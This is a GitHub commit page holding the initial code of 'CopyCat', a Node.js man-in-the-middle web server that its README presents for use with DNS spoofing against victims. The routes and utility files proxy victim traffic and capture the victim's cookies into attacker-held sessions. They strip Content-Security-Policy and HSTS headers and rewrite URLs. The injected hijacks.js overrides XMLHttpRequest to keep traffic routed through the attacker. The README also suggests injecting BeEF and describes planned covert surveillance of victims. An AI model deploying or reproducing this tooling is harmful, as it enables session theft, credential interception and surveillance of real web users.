Skip to content

Commit

Permalink
Initial Commit
Browse files Browse the repository at this point in the history
  • Loading branch information
compewter committed Jan 6, 2017
0 parents commit e71f3ec
Show file tree
Hide file tree
Showing 11 changed files with 542 additions and 0 deletions.
13 changes: 13 additions & 0 deletions .env
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
vars = {
"NODE_TLS_REJECT_UNAUTHORIZED": "0",
"PORT": 80,
"HTTP": "us-west-1",
"HTTPS": "us-west-2",
"HTTPW": "us-west-3",
"HTTPSW": "us-west-4",
"SESS_COOKIE": "ccsess"
}

Object.keys(vars).forEach(function(key){
process.env[key] = vars[key]
})
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
node_modules
45 changes: 45 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
#CopyCat

CopyCat is a Node.js based universal MITM web server. Used with DNS spoofing or another redirect attack, this server will act as a MITM for web traffic between the victim and a real server.

Most often we see DNS spoofing used to redirect victims to an attackers server hosting a static clone of the spoofed domain's login page. But this server will forward all traffic between the victim and the spoofed domain allowing an attacker to sit in as the MITM while the victim interacts with the real domain. This also allows the attacker to inject scripts and manipulate the victim's interactions with the intended web server.

All urls are hijacked inside the HTML response from the server causing all traffic to be rerouted back through the server (provided you have a redirect attack for those domains as well).

### Configuration

After cloning or downloading this repo, look at the .env file in the root directory. This is where you set the subdomains to their corresponding real prefixes. The default prefix map is:

```
{
'http://': 'us-west-1',
'https://': 'us-west-2',
'http://www.': 'us-west-3',
'https://www.': 'us-west-4'
}
```
Example url translations:
https://facebook.com -> http://us-west-2.facebook.com
https://www.google.com -> http://us-west-4.google.com


### Installation

Requires [Node.js](https://nodejs.org/) v6+ to run.

```sh
$ cd /path/to/repo
$ npm install
$ sudo node server.js
```

### What's Happening?
The attacker directs the victim to the spoofed domain for example http://us-west-4.facebook.com. Using DNS spoofing this request is sent to this server. It recognizes the pattern "us-west-4" means this should be a request to https://www.facebook.com. A session is either generated or looked up and associated with the request. The server makes a request to that domain. When a response is received, it hijacks any urls in the HTML to be their spoofed counterpart to ensure those requests are sent back through this server. Any cookies from the real domain are attached to the victims session to be used with future requests. Security headers are modified or deleted to allow content to render properly. A script is injected into the HTML before responding. This client side script (public/hijacks.js) overwrites the native [XMLHttpRequest.open](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/open) method to hijack the requested url. It also traverses the DOM looking for elements which request content and hijacks their urls in case they were added client side or slipped past the server side url hijaking function. The end result being a functioning version of the spoofed domain.

### What can I do with it?
This is nothing more than a functioning platform for being a MITM with web requests. The potential to use this with other attacks is there. You completely own this domain and can run whatever arbitrary scripts you'd like, or even inject a [BeEF](http://beefproject.com/). If theyre going through this server you have complete control of the victim's experience.

### What's Next?
Stay tuned for updates to [VeAL](https://github.com/compewter/veal). Once that platform is there to manage victim sessions, you will be able to view and manipulate victim's sessions with ease.
I'm working on a prototype of a remote viewing attack. This will mirror all mouse movements, keystrokes, and DOM elements from the victims allowing you to remotely watch the session as its happening as a sort of terrifying surveillance tool. This of course wouldn't be limited to this MITM server so it wont be found here.
In addition to viewing live, I don't see why you couldn't record a session to be viewed later.
15 changes: 15 additions & 0 deletions package.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
{
"name": "copycat",
"version": "1.0.0",
"description": "Universal MITM web server",
"main": "server.js",
"scripts": {
"start": "node server.js"
},
"author": "Michael Wetherald",
"dependencies": {
"cookie-parser": "^1.4.3",
"express": "^4.14.0",
"request": "^2.79.0"
}
}
93 changes: 93 additions & 0 deletions public/hijacks.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,93 @@
//overwrites the open method of the XMLHttpRequest class to hijack the url used
(function(open){
XMLHttpRequest.prototype.open = function(){
try{
newArgs = Array.prototype.slice.call(arguments)
newArgs[1] = hijackUrl(arguments[1])
open.apply(this, newArgs)
}catch(e){
console.error(e)
}
}
})(XMLHttpRequest.prototype.open)

//cycle through the DOM looking for url attributes that were added by some client side javascript
setInterval(verifyUrls, 500)
function verifyUrls(){
Array.prototype.slice.call(document.getElementsByTagName('iframe')).forEach(replaceAttribute.bind({attributeName: 'src'}))

Array.prototype.slice.call(document.getElementsByTagName('img')).forEach(replaceAttribute.bind({attributeName: 'src'}))

Array.prototype.slice.call(document.getElementsByTagName('link')).forEach(replaceAttribute.bind({attributeName: 'src'}))

Array.prototype.slice.call(document.getElementsByTagName('script')).forEach(function(script){
if( script.src !== undefined && script.src !== '' && script.src[0] !== '/' && script.src.indexOf('chrome-extension://') !== 0 && !containsSpoofedDomain(script.src) ){
var newScript = document.createElement('script')
newScript.src = hijackUrl(script.src)
var parent = script.parentNode
parent.appendChild(newScript)
parent.removeChild(script)
}
})

Array.prototype.slice.call(document.getElementsByTagName('a')).forEach(function(a){
if( a.href[0] !== '/' && !containsSpoofedDomain(a.href) && a.href !== '' && a.href !== '#' && a.href !== undefined ){
var oldLink = a.href
a.href = hijackUrl(a.href)
if(containsSpoofedDomain(a.innerText)){
a.innerText = oldLink
}
}
//Some websites shim link clicks. Need to hijack that
if( a.href[0] === '/' || containsSpoofedDomain(a.href)){
a.onclick = linkClickHandler.bind(a)
}
})
}

//replaces the value of the provided attribute on the provided node
function replaceAttribute(node){
if( node[this.attributeName] !== undefined && node[this.attributeName] !== '' && node[this.attributeName][0] !== '/' && !containsSpoofedDomain(node[this.attributeName]) ){
node[this.attributeName] = hijackUrl(node[this.attributeName])
}
}

//Used to prevent link shimming
function linkClickHandler(e){
if(this.href !== '#'){
e.preventDefault()
if(this.getAttribute('target') === '_blank'){
window.open(this.href, '_blank')
}else{
window.location.href = this.href
}
}
}

//converts the provided url to its spoofed counterpart
function hijackUrl(url){
if(containsSpoofedDomain(url) || url[0] === '/'){
return url
}
if(url.indexOf('https://') === 0 && isHTTPSofSpoofedDomain(url)){
return url.replace('https://', 'http://')
}else {
return url.replace(/https?\:\/\/(www\.)?/, function (prefix){
return 'http://' + prefixToSpoofedDomain[prefix] + '.'
})
}
}

//returns true if the provided url contains a spoofed subdomain
function containsSpoofedDomain(url){
return spoofedDomains.some(function (subdomain){
return url.indexOf(subdomain) === 0 || url.indexOf('http://'+subdomain) === 0
})
}

//returns true if the provided url is an https version of a spoofed domain
function isHTTPSofSpoofedDomain(url){
return spoofedDomains.some(function (subdomain){
return url.indexOf('https://'+subdomain) === 0
})
}
154 changes: 154 additions & 0 deletions routes.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,154 @@
const express = require('express')
const zlib = require('zlib')
const Transform = require('stream').Transform
const request = require('request')/*.defaults({
proxy: 'http://localhost:8080'
})*/

const urlUtils = require('./utils/urls')
const cookieUtils = require('./utils/cookies')

module.exports = () => {
const router = express.Router();

router.use('/', (req, res) => {
console.log(req.method.toLowerCase(), req.url)

//set the cookie header for this session
req.headers.cookie = cookieUtils.cookiesToHeaderStr(Object.assign(req.session.cookies[req._domain] || {}, req.cookies))

//make the request to the real url
req.pipe(request[req.method.toLowerCase()](req.url)).on('response', (response) => {
//store new cookies
cookieUtils.setCookies(req.session.cookies, req._domain, response.headers['set-cookie'])

if(req.session.update){
cookieUtils.addSessionCookie(response.headers['set-cookie'], req.cookies[process.env.SESS_COOKIE], req._domain)
}

//hijack redirect urls
if(response.statusCode === 301 || response.statusCode === 302){
response.headers['location'] = urlUtils.convertUrlToSpoofed(response.headers['location'])
}

//set status code to that from piped response
res.status(response.statusCode)

//hijack URLs in html responses
if(response.headers['content-type'] && ~response.headers['content-type'].indexOf('text/html')){
//creates new transform stream to hijack urls in html
const urlHijackTransformStream = new TransformStream()
//url hijacking function needs to know whether the originally requested url is an https request
urlHijackTransformStream.secure = req.url.indexOf('https://') === 0

//unzip encoded content before hijacking urls in html
switch (response.headers['content-encoding']) {
case 'gzip':
case 'deflate':
//delete content-encoding header because it has been unzipped
delete response.headers['content-encoding']
//set headers on response object before piping result of url hijacks
res.set(updateResponseHeaders(response.headers))
//pipe response into unzip stream and url hijack transform stream
response.pipe(zlib.createUnzip()).pipe(urlHijackTransformStream).pipe(res)
break
default:
//set headers on response object before piping result of url hijacks
res.set(updateResponseHeaders(response.headers))
//pipe response into unzip stream and url hijack transform stream
response.pipe(urlHijackTransformStream).pipe(res)
break
}
}else{
//set headers on response object before piping response
res.set(updateResponseHeaders(response.headers))
//pipe responses back to victim without modification
response.pipe(res)
}
})
})

return router
}

//injects scripts to be loaded in the response to the victim
function injectScripts(source){
return source.replace('</head', getSubDomainVars() + '<script src="/hijacks.js" type="text/javascript"></script>' + '</head')
}

//gets spoofed domain prefixes to load in the response to the victim
function getSubDomainVars(){
return `<script type="text/javascript">
var spoofedDomains = ${JSON.stringify(urlUtils.spoofedDomains)};
var prefixToSpoofedDomain = ${JSON.stringify(urlUtils.prefixToSpoofedDomain)};
var sessCookieName = "${process.env.SESS_COOKIE}";
</script>`
}

//update response headers to loosen security
function updateResponseHeaders(headers){
if(headers['Access-Control-Allow-Origin']){
headers['Access-Control-Allow-Origin'] = urlUtils.convertUrlToSpoofed(headers['Access-Control-Allow-Origin']) || '*'
}else if(headers['access-control-allow-origin']){
headers['access-control-allow-origin'] = urlUtils.convertUrlToSpoofed(headers['access-control-allow-origin']) || '*'
}else{
headers['access-control-allow-origin'] = '*'
}
delete headers['content-security-policy']
delete headers['Content-Security-Policy']
//on the off chance this is their first time accessing this domain and its not in a preloaded STS list
delete headers['strict-transport-security']
delete headers['Strict-Transport-Security']
return headers
}

//Transform stream used to hijack urls in html responses
class TransformStream extends Transform {
constructor(options) {
super(options)
}

/*Transforms urls in each chunk.
In case a url is split across chunks, it finds the index of the last space in
the chunk and prepends it to the next chunk before modifying.*/
_transform(chunk, encoding, done) {
let chunkStr = chunk.toString()

//if the previous chunk had content after the last space prepend it to this chunk
if(this.remainderPrevChunk){
chunkStr = this.remainderPrevChunk + chunkStr
this.remainderPrevChunk = ''
}

//only push current chunk up to last whitespace (in case url is split across chunks)
const indexLastSpace = chunkStr.lastIndexOf(' ')
if(indexLastSpace === -1){
//hijack any urls in this chunk
chunkStr = urlUtils.hijackUrls(chunkStr, this.secure)
}else{
//store remainder of chunk after last index of space to prepend to next chunk
this.remainderPrevChunk = chunkStr.slice(indexLastSpace)
//hijack any urls in this chunk
chunkStr = urlUtils.hijackUrls(chunkStr.slice(0, indexLastSpace), this.secure)
}

//inject client side scripts. This is done after hijacking urls to prevent hijacking the contents of these scripts
if(!this.scriptsInjected && ~chunkStr.indexOf('</head')){
chunkStr = injectScripts(chunkStr)
this.scriptsInjected = true
}

this.push(chunkStr)

done()
}

//called after last chunk was received
_flush(done){
//if the previous chunk had content after the last space we need to write it to the stream
if(this.remainderPrevChunk){
this.push(this.remainderPrevChunk)
}
done()
}
}
23 changes: 23 additions & 0 deletions server.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
var http = require('http')
var express = require('express')
var cookieParser = require('cookie-parser')

var env = require('./.env')
var middlewares = require('./utils/middlewares')
var session = require('./utils/session')()

var app = express()
var server = http.createServer(app)

server.listen(process.env.PORT)
console.log('Listening on', process.env.PORT)

app.use( cookieParser() )
app.use( session )
app.use( express.static(__dirname + '/public') )
app.use( middlewares.filterRequests )
app.use( middlewares.convertSpoofedToOriginalUrl )
app.use( middlewares.setDomain )
app.use( middlewares.purifyHeaders )
app.use( '/', require('./routes')() )
app.use( middlewares.catchAll )
35 changes: 35 additions & 0 deletions utils/cookies.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
//updates cookies in the provided cookie jar and given domain
module.exports.setCookies = function(jar, domain, newCookies=[]) {
if(newCookies.length === 0){
return
}

//create a new object store if one doesn't exist
jar[domain] = jar[domain] || {}
//store the new cookies in this domain's object store
newCookies.forEach((cookie)=>{
var cookieName = cookie.split('=')[0]
if(cookie.split('=')[1].indexOf('deleted;') === 0){
delete jar[domain][cookieName]
}else{
jar[domain][cookieName] = cookie.substring(cookie.indexOf('=')+1, cookie.indexOf(';'))
}
})
}

//converts cookie jar to cookie header string
module.exports.cookiesToHeaderStr = function(cookies){
return Object.keys(cookies).reduce((pv, cookieName)=>{
//prevents sending session cookie to destination server
if(cookieName === process.env.SESS_COOKIE){
return pv
}
return pv + cookieName + '=' + cookies[cookieName] + '; '
},'')
}

module.exports.addSessionCookie = function(setCookieHeader=[], sessionCookie, domain){
let parsedDomain = ~domain.indexOf('www.') ? domain.slice(domain.indexOf('www.')+3) : '.'+domain
//update session cookie
setCookieHeader.push(process.env.SESS_COOKIE+'='+sessionCookie+'; expires=Fri, 01-Jan-2038 00:00:00 GMT; path=/; domain='+parsedDomain+';')
}
Loading

0 comments on commit e71f3ec

Please sign in to comment.